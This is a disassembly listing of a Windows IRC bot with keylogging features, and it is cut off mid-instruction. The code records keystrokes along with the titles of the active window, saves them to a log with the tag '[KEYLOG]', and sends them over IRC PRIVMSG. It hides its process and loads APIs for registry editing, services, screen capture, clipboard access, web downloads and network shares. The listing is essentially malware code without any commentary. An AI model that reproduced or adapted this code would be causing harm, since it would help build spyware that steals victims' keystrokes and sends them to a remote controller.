Attributes: bp-based frame sub_405D17 proc near ; CODE XREF: sub_40946D+40p ; sub_409848+1B8p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push 200h push eax call sub_416C24 lea eax, [ebp+var_200] add esp, 10h lea edx, [eax+1] loc_405D44: ; CODE XREF: sub_405D17+32j mov cl, [eax] inc eax test cl, cl jnz short loc_405D44 push 0 sub eax, edx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A458 ; send leave retn sub_405D17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D62 proc near ; CODE XREF: start+B2p sub_4010CA+61p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_405D7D mov edi, offset aPrivmsg ; "PRIVMSG" loc_405D7D: ; CODE XREF: sub_405D62+14j mov eax, edi lea edx, [eax+1] loc_405D82: ; CODE XREF: sub_405D62+25j mov cl, [eax] inc eax test cl, cl jnz short loc_405D82 sub eax, edx mov esi, eax mov eax, [ebp+arg_4] lea ecx, [eax+1] loc_405D93: ; CODE XREF: sub_405D62+36j mov dl, [eax] inc eax test dl, dl jnz short loc_405D93 push [ebp+arg_8] sub eax, ecx mov ecx, 1FAh sub ecx, eax push offset aS_2 ; "%s" sub ecx, esi push ecx lea eax, [ebp+var_400] push eax call sub_416BCD lea eax, [ebp+var_400] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_416975 add esp, 24h lea eax, [ebp+var_200] pop edi lea ecx, [eax+1] pop esi loc_405DE4: ; CODE XREF: sub_405D62+87j mov dl, [eax] inc eax test dl, dl jnz short loc_405DE4 push 0 sub eax, ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43A458 ; send cmp [ebp+arg_10], 0 jz short locret_405E11 push 0FAh call dword_422000 ; Sleep locret_405E11: ; CODE XREF: sub_405D62+A2j leave retn sub_405D62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E13 proc near ; CODE XREF: sub_405F16+B0p ; sub_405F16+24Bp var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h push esi push edi lea eax, [ebp+var_10] push eax call dword_422028 ; GetLocalTime push 104h lea eax, [ebp+var_114] push eax call dword_422048 ; GetSystemDirectoryA lea edi, [ebp+var_114] dec edi loc_405E41: ; CODE XREF: sub_405E13+34j mov al, [edi+1] inc edi test al, al jnz short loc_405E41 mov esi, offset asc_423B60 ; "\\" mov eax, offset dword_42FD5C movsw mov edx, eax loc_405E57: ; CODE XREF: sub_405E13+49j mov cl, [eax] inc eax test cl, cl jnz short loc_405E57 lea edi, [ebp+var_114] sub eax, edx dec edi loc_405E67: ; CODE XREF: sub_405E13+5Aj mov cl, [edi+1] inc edi test cl, cl jnz short loc_405E67 mov ecx, eax shr ecx, 2 mov esi, edx rep movsd mov ecx, eax lea eax, [ebp+var_114] and ecx, 3 push offset aAb ; "ab" push eax rep movsb call sub_41720C mov esi, eax test esi, esi pop ecx pop ecx jnz short loc_405E9B inc eax jmp short loc_405F12 ; --------------------------------------------------------------------------- loc_405E9B: ; CODE XREF: sub_405E13+83j push [ebp+arg_0] movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_4178A4 push esi call sub_416E7D add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_405F10 push [ebp+arg_0] lea eax, [ebp+var_314] push offset aKeylogS ; "[KEYLOG]: %s" push 200h push eax call sub_416BCD push 0 push [ebp+arg_8C] lea eax, [ebp+var_314] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_405D62 add esp, 24h loc_405F10: ; CODE XREF: sub_405E13+C4j xor eax, eax loc_405F12: ; CODE XREF: sub_405E13+86j pop edi pop esi leave retn sub_405E13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_405F16 proc near ; DATA XREF: sub_409848+1E2Fo var_8E0 = dword ptr -8E0h var_8DC = byte ptr -8DCh var_4E0 = byte ptr -4E0h var_2E1 = byte ptr -2E1h var_2E0 = byte ptr -2E0h var_E0 = byte ptr -0E0h var_DC = dword ptr -0DCh var_4C = byte ptr -4Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 8E0h mov eax, [ebp+74h+arg_0] and [ebp+74h+var_8E0], 0 and [ebp+74h+var_4], 0 push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+74h+var_E0] rep movsd mov dword ptr [eax+90h], 1 xor eax, eax mov ecx, 0FFh lea edi, [ebp+74h+var_8DC] rep stosd call dword_43A380 ; GetForegroundWindow push 3Ch lea ecx, [ebp+74h+var_4C] push ecx push eax mov [ebp+74h+var_8], eax call dword_43A370 ; GetWindowTextA mov ebx, 80h loc_405F70: ; CODE XREF: sub_405F16+2E9j push 8 call dword_422000 ; Sleep call dword_43A380 ; GetForegroundWindow cmp eax, [ebp+74h+var_8] jz short loc_405FEA push 3Ch lea ecx, [ebp+74h+var_4C] push ecx push eax mov [ebp+74h+var_8], eax call dword_43A370 ; GetWindowTextA lea eax, [ebp+74h+var_4C] push eax lea eax, [ebp+74h+var_2E0] push eax lea eax, [ebp+74h+var_4E0] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_416975 sub esp, 84h push 25h pop ecx lea eax, [ebp+74h+var_4E0] mov edi, esp lea esi, [ebp+74h+var_E0] push eax rep movsd call sub_405E13 add esp, 98h mov [ebp+74h+var_4], eax xor eax, eax mov ecx, ebx lea edi, [ebp+74h+var_2E0] rep stosd mov ecx, ebx lea edi, [ebp+74h+var_4E0] rep stosd loc_405FEA: ; CODE XREF: sub_405F16+6Bj mov [ebp+74h+arg_0], offset dword_42E59C loc_405FF1: ; CODE XREF: sub_405F16+2DFj push 10h call dword_43A4E4 ; GetKeyState movsx edi, ax mov eax, [ebp+74h+arg_0] mov esi, [eax-4] push esi call dword_43A360 ; GetAsyncKeyState test ah, ah jns short loc_406088 push 14h call dword_43A4E4 ; GetKeyState test ax, ax jz short loc_406039 cmp edi, 0FFFFFFFFh jle short loc_406039 cmp esi, 40h jle short loc_406039 cmp esi, 5Bh jge short loc_406039 mov [ebp+esi*4+74h+var_8E0], 1 jmp loc_4061EA ; --------------------------------------------------------------------------- loc_406039: ; CODE XREF: sub_405F16+102j ; sub_405F16+107j ... push 14h call dword_43A4E4 ; GetKeyState test ax, ax jz short loc_406064 test edi, edi jge short loc_406078 cmp esi, 40h jle short loc_406064 cmp esi, 5Bh jge short loc_406064 mov [ebp+esi*4+74h+var_8E0], 2 jmp loc_4061EA ; --------------------------------------------------------------------------- loc_406064: ; CODE XREF: sub_405F16+12Ej ; sub_405F16+137j ... test edi, edi jge short loc_406078 mov [ebp+esi*4+74h+var_8E0], 3 jmp loc_4061EA ; --------------------------------------------------------------------------- loc_406078: ; CODE XREF: sub_405F16+132j ; sub_405F16+150j mov [ebp+esi*4+74h+var_8E0], 4 jmp loc_4061EA ; --------------------------------------------------------------------------- loc_406088: ; CODE XREF: sub_405F16+F5j lea eax, [ebp+esi*4+74h+var_8E0] mov edx, [eax] test edx, edx jz loc_4061EA and dword ptr [eax], 0 cmp esi, 8 lea eax, [ebp+74h+var_2E0] jnz short loc_4060BF lea edx, [eax+1] loc_4060AA: ; CODE XREF: sub_405F16+199j mov cl, [eax] inc eax test cl, cl jnz short loc_4060AA sub eax, edx and [ebp+eax+74h+var_2E1], cl jmp loc_4061EA ; --------------------------------------------------------------------------- loc_4060BF: ; CODE XREF: sub_405F16+18Fj lea edi, [eax+1] loc_4060C2: ; CODE XREF: sub_405F16+1B1j mov cl, [eax] inc eax test cl, cl jnz short loc_4060C2 sub eax, edi cmp eax, 1B9h jbe short loc_4060F7 call dword_43A380 ; GetForegroundWindow push 3Ch lea ecx, [ebp+74h+var_4C] push ecx push eax call dword_43A370 ; GetWindowTextA lea eax, [ebp+74h+var_4C] push eax lea eax, [ebp+74h+var_2E0] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_40613E ; --------------------------------------------------------------------------- loc_4060F7: ; CODE XREF: sub_405F16+1BAj cmp esi, 0Dh jnz loc_406187 lea eax, [ebp+74h+var_2E0] lea edx, [eax+1] loc_406109: ; CODE XREF: sub_405F16+1F8j mov cl, [eax] inc eax test cl, cl jnz short loc_406109 sub eax, edx mov [ebp+74h+var_C], eax jz loc_4061EA call dword_43A380 ; GetForegroundWindow push 3Ch lea ecx, [ebp+74h+var_4C] push ecx push eax call dword_43A370 ; GetWindowTextA lea eax, [ebp+74h+var_4C] push eax lea eax, [ebp+74h+var_2E0] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_40613E: ; CODE XREF: sub_405F16+1DFj lea eax, [ebp+74h+var_4E0] push eax call sub_416975 sub esp, 84h push 25h pop ecx lea eax, [ebp+74h+var_4E0] mov edi, esp lea esi, [ebp+74h+var_E0] push eax rep movsd call sub_405E13 add esp, 98h mov [ebp+74h+var_4], eax xor eax, eax mov ecx, ebx lea edi, [ebp+74h+var_2E0] rep stosd mov ecx, ebx lea edi, [ebp+74h+var_4E0] rep stosd jmp short loc_4061EA ; --------------------------------------------------------------------------- loc_406187: ; CODE XREF: sub_405F16+1E4j cmp edx, 1 jz short loc_4061BA cmp edx, 3 jz short loc_4061BA cmp edx, 2 jz short loc_40619B cmp edx, 4 jnz short loc_4061EA loc_40619B: ; CODE XREF: sub_405F16+27Ej mov eax, [ebp+74h+arg_0] mov edx, eax loc_4061A0: ; CODE XREF: sub_405F16+28Fj mov cl, [eax] inc eax test cl, cl jnz short loc_4061A0 lea edi, [ebp+74h+var_2E0] sub eax, edx dec edi loc_4061B0: ; CODE XREF: sub_405F16+2A0j mov cl, [edi+1] inc edi test cl, cl jnz short loc_4061B0 jmp short loc_4061DA ; --------------------------------------------------------------------------- loc_4061BA: ; CODE XREF: sub_405F16+274j ; sub_405F16+279j mov eax, [ebp+74h+arg_0] add eax, 7 mov edx, eax loc_4061C2: ; CODE XREF: sub_405F16+2B1j mov cl, [eax] inc eax test cl, cl jnz short loc_4061C2 lea edi, [ebp+74h+var_2E0] sub eax, edx dec edi loc_4061D2: ; CODE XREF: sub_405F16+2C2j mov cl, [edi+1] inc edi test cl, cl jnz short loc_4061D2 loc_4061DA: ; CODE XREF: sub_405F16+2A2j mov ecx, eax shr ecx, 2 mov esi, edx rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4061EA: ; CODE XREF: sub_405F16+11Ej ; sub_405F16+149j ... add [ebp+74h+arg_0], 14h cmp [ebp+74h+arg_0], offset dword_42ECCC jl loc_405FF1 cmp [ebp+74h+var_4], 0 jz loc_405F70 push [ebp+74h+var_DC] call sub_4139F6 pop ecx push 0 call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_405F16 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_406217 proc near ; CODE XREF: sub_40FB4C+4Bp push ebx push ebp mov ebp, dword_4220A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_422084 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_406337 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43A394, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_43A3AC, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_43A40C, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_43A364, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43A3D4, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43A3B8, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43A460, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_43A33C, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43A3DC, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43A404, eax call esi ; GetProcAddress cmp dword_43A394, ebx mov dword_43A46C, eax jz short loc_406315 cmp dword_43A3AC, ebx jz short loc_406315 cmp dword_43A40C, ebx jz short loc_406315 cmp dword_43A364, ebx jz short loc_406315 cmp dword_43A3B8, ebx jz short loc_406315 cmp dword_43A460, ebx jz short loc_406315 cmp dword_43A33C, ebx jz short loc_406315 cmp dword_43A3DC, ebx jz short loc_406315 cmp dword_43A404, ebx jz short loc_406315 cmp eax, ebx jnz short loc_40631F loc_406315: ; CODE XREF: sub_406217+B8j ; sub_406217+C0j ... mov dword_43A518, 1 loc_40631F: ; CODE XREF: sub_406217+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43A4C0, eax jz short loc_40634C push 1 push ebx call eax jmp short loc_40634C ; --------------------------------------------------------------------------- loc_406337: ; CODE XREF: sub_406217+1Dj call dword_422008 ; RtlGetLastWin32Error mov dword_43A51C, eax mov dword_43A518, 1 loc_40634C: ; CODE XREF: sub_406217+117j ; sub_406217+11Ej push offset aUser32_dll ; "user32.dll" call dword_422088 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_406461 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_43A484, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_43A418, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43A344, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43A3B4, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43A35C, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43A4F4, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43A340, eax call esi ; GetProcAddress cmp dword_43A484, ebx mov dword_43A45C, eax jz short loc_406405 cmp dword_43A418, ebx jz short loc_406405 cmp dword_43A344, ebx jz short loc_406405 cmp dword_43A3B4, ebx jz short loc_406405 cmp dword_43A35C, ebx jz short loc_406405 cmp dword_43A4F4, ebx jz short loc_406405 cmp dword_43A340, ebx jz short loc_406405 cmp eax, ebx jnz short loc_40640F loc_406405: ; CODE XREF: sub_406217+1B8j ; sub_406217+1C0j ... mov dword_43A520, 1 loc_40640F: ; CODE XREF: sub_406217+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_43A360, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43A4E4, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43A370, eax call esi ; GetProcAddress cmp dword_43A360, ebx mov dword_43A380, eax jz short loc_40646C cmp dword_43A4E4, ebx jz short loc_40646C cmp dword_43A370, ebx jz short loc_40646C cmp eax, ebx jnz short loc_406476 jmp short loc_40646C ; --------------------------------------------------------------------------- loc_406461: ; CODE XREF: sub_406217+144j call dword_422008 ; RtlGetLastWin32Error mov dword_43A524, eax loc_40646C: ; CODE XREF: sub_406217+232j ; sub_406217+23Aj ... mov dword_43A520, 1 loc_406476: ; CODE XREF: sub_406217+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_406611 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43A4F0, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43A408, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43A3A0, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43A378, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43A3FC, eax call esi ; GetProcAddress cmp dword_43A4F0, ebx mov dword_43A4A0, eax jz short loc_406501 cmp dword_43A408, ebx jz short loc_406501 cmp dword_43A3A0, ebx jz short loc_406501 cmp dword_43A378, ebx jz short loc_406501 cmp dword_43A3FC, ebx jz short loc_406501 cmp eax, ebx jnz short loc_40650B loc_406501: ; CODE XREF: sub_406217+2C4j ; sub_406217+2CCj ... mov dword_43A528, 1 loc_40650B: ; CODE XREF: sub_406217+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43A4FC, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43A4E0, eax call esi ; GetProcAddress cmp dword_43A4FC, ebx mov dword_43A428, eax jz short loc_406546 cmp dword_43A4E0, ebx jz short loc_406546 cmp eax, ebx jnz short loc_406550 loc_406546: ; CODE XREF: sub_406217+321j ; sub_406217+329j mov dword_43A528, 1 loc_406550: ; CODE XREF: sub_406217+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43A480, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_43A500, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_43A488, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_43A4A4, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43A3B0, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43A3EC, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43A490, eax call esi ; GetProcAddress cmp dword_43A480, ebx mov dword_43A4BC, eax jz short loc_4065F4 cmp dword_43A500, ebx jz short loc_4065F4 cmp dword_43A488, ebx jz short loc_4065F4 cmp dword_43A4A4, ebx jz short loc_4065F4 cmp dword_43A3B0, ebx jz short loc_4065F4 cmp dword_43A3EC, ebx jz short loc_4065F4 cmp dword_43A490, ebx jz short loc_4065F4 cmp eax, ebx jnz short loc_4065FE loc_4065F4: ; CODE XREF: sub_406217+3A7j ; sub_406217+3AFj ... mov dword_43A528, 1 loc_4065FE: ; CODE XREF: sub_406217+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43A450, eax jnz short loc_406626 jmp short loc_40661C ; --------------------------------------------------------------------------- loc_406611: ; CODE XREF: sub_406217+26Aj call dword_422008 ; RtlGetLastWin32Error mov dword_43A52C, eax loc_40661C: ; CODE XREF: sub_406217+3F8j mov dword_43A528, 1 loc_406626: ; CODE XREF: sub_406217+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_4066F2 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43A504, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43A4D4, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43A438, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43A430, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_43A478, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_43A34C, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_43A448, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_43A3E8, eax call esi ; GetProcAddress cmp dword_43A504, ebx mov dword_43A43C, eax jz short loc_4066FD cmp dword_43A4D4, ebx jz short loc_4066FD cmp dword_43A438, ebx jz short loc_4066FD cmp dword_43A430, ebx jz short loc_4066FD cmp dword_43A478, ebx jz short loc_4066FD cmp dword_43A34C, ebx jz short loc_4066FD cmp dword_43A448, ebx jz short loc_4066FD cmp dword_43A3E8, ebx jz short loc_4066FD cmp eax, ebx jnz short loc_406707 jmp short loc_4066FD ; --------------------------------------------------------------------------- loc_4066F2: ; CODE XREF: sub_406217+41Aj call dword_422008 ; RtlGetLastWin32Error mov dword_43A534, eax loc_4066FD: ; CODE XREF: sub_406217+49Bj ; sub_406217+4A3j ... mov dword_43A530, 1 loc_406707: ; CODE XREF: sub_406217+4D7j mov ebp, dword_422088 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4069C3 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_43A3CC, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43A334, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43A44C, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43A414, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43A498, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_43A47C, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_43A4DC, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43A3BC, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_43A354, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43A36C, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_43A440, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_43A434, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_43A514, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_43A4EC, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_43A4B8, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_43A494, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_43A458, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_43A38C, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_43A324, eax call esi ; GetProcAddress mov dword_43A348, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_43A49C, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_43A468, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_43A4E8, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_43A37C, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_43A3D8, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_43A328, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_43A4D8, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43A420, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_43A4B4, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_43A400, eax call esi ; GetProcAddress cmp dword_43A3CC, ebx mov dword_43A4D0, eax jz loc_4069CE cmp dword_43A334, ebx jz loc_4069CE cmp dword_43A44C, ebx jz loc_4069CE cmp dword_43A498, ebx jz loc_4069CE cmp dword_43A47C, ebx jz loc_4069CE cmp dword_43A4DC, ebx jz loc_4069CE cmp dword_43A3BC, ebx jz loc_4069CE cmp dword_43A354, ebx jz loc_4069CE cmp dword_43A36C, ebx jz loc_4069CE cmp dword_43A440, ebx jz loc_4069CE cmp dword_43A434, ebx jz loc_4069CE cmp dword_43A514, ebx jz loc_4069CE cmp dword_43A4EC, ebx jz loc_4069CE cmp dword_43A4B8, ebx jz short loc_4069CE cmp dword_43A458, ebx jz short loc_4069CE cmp dword_43A38C, ebx jz short loc_4069CE cmp dword_43A324, ebx jz short loc_4069CE cmp dword_43A348, ebx jz short loc_4069CE cmp dword_43A49C, ebx jz short loc_4069CE cmp dword_43A468, ebx jz short loc_4069CE cmp dword_43A4E8, ebx jz short loc_4069CE cmp dword_43A37C, ebx jz short loc_4069CE cmp dword_43A3D8, ebx jz short loc_4069CE cmp dword_43A328, ebx jz short loc_4069CE cmp dword_43A4D8, ebx jz short loc_4069CE cmp dword_43A420, ebx jz short loc_4069CE cmp dword_43A4B4, ebx jz short loc_4069CE cmp eax, ebx jnz short loc_4069D8 jmp short loc_4069CE ; --------------------------------------------------------------------------- loc_4069C3: ; CODE XREF: sub_406217+501j call dword_422008 ; RtlGetLastWin32Error mov dword_43A53C, eax loc_4069CE: ; CODE XREF: sub_406217+6A0j ; sub_406217+6ACj ... mov dword_43A538, 1 loc_4069D8: ; CODE XREF: sub_406217+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_406ADD push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43A338, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43A510, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43A3E4, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43A50C, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_43A3F4, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43A358, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43A3C4, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43A330, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43A470, eax call esi ; GetProcAddress cmp dword_43A338, ebx mov ecx, dword_43A358 mov dword_43A41C, eax jz short loc_406AB9 cmp dword_43A510, ebx jz short loc_406AB9 cmp dword_43A3E4, ebx jz short loc_406AB9 cmp dword_43A50C, ebx jz short loc_406AB9 cmp dword_43A3F4, ebx jz short loc_406AB9 cmp ecx, ebx jz short loc_406AB9 cmp dword_43A3C4, ebx jz short loc_406AB9 cmp dword_43A330, ebx jz short loc_406AB9 cmp dword_43A470, ebx jz short loc_406AB9 cmp eax, ebx jnz short loc_406AC3 loc_406AB9: ; CODE XREF: sub_406217+860j ; sub_406217+868j ... mov dword_43A540, 1 loc_406AC3: ; CODE XREF: sub_406217+8A0j cmp ecx, ebx jz short loc_406AF8 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_43A508, eax jnz short loc_406AF8 jmp short loc_406AF2 ; --------------------------------------------------------------------------- loc_406ADD: ; CODE XREF: sub_406217+7CCj call dword_422008 ; RtlGetLastWin32Error mov dword_43A544, eax mov dword_43A540, 1 loc_406AF2: ; CODE XREF: sub_406217+8C4j mov dword_43A508, ebx loc_406AF8: ; CODE XREF: sub_406217+8AEj ; sub_406217+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406B42 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43A410, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43A444, eax call esi ; GetProcAddress cmp dword_43A410, ebx mov dword_43A4AC, eax jz short loc_406B4D cmp dword_43A444, ebx jz short loc_406B4D cmp eax, ebx jnz short loc_406B57 jmp short loc_406B4D ; --------------------------------------------------------------------------- loc_406B42: ; CODE XREF: sub_406217+8ECj call dword_422008 ; RtlGetLastWin32Error mov dword_43A54C, eax loc_406B4D: ; CODE XREF: sub_406217+91Bj ; sub_406217+923j ... mov dword_43A548, 1 loc_406B57: ; CODE XREF: sub_406217+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_406C4D push offset aNetshareadd ; "NetShareAdd" push 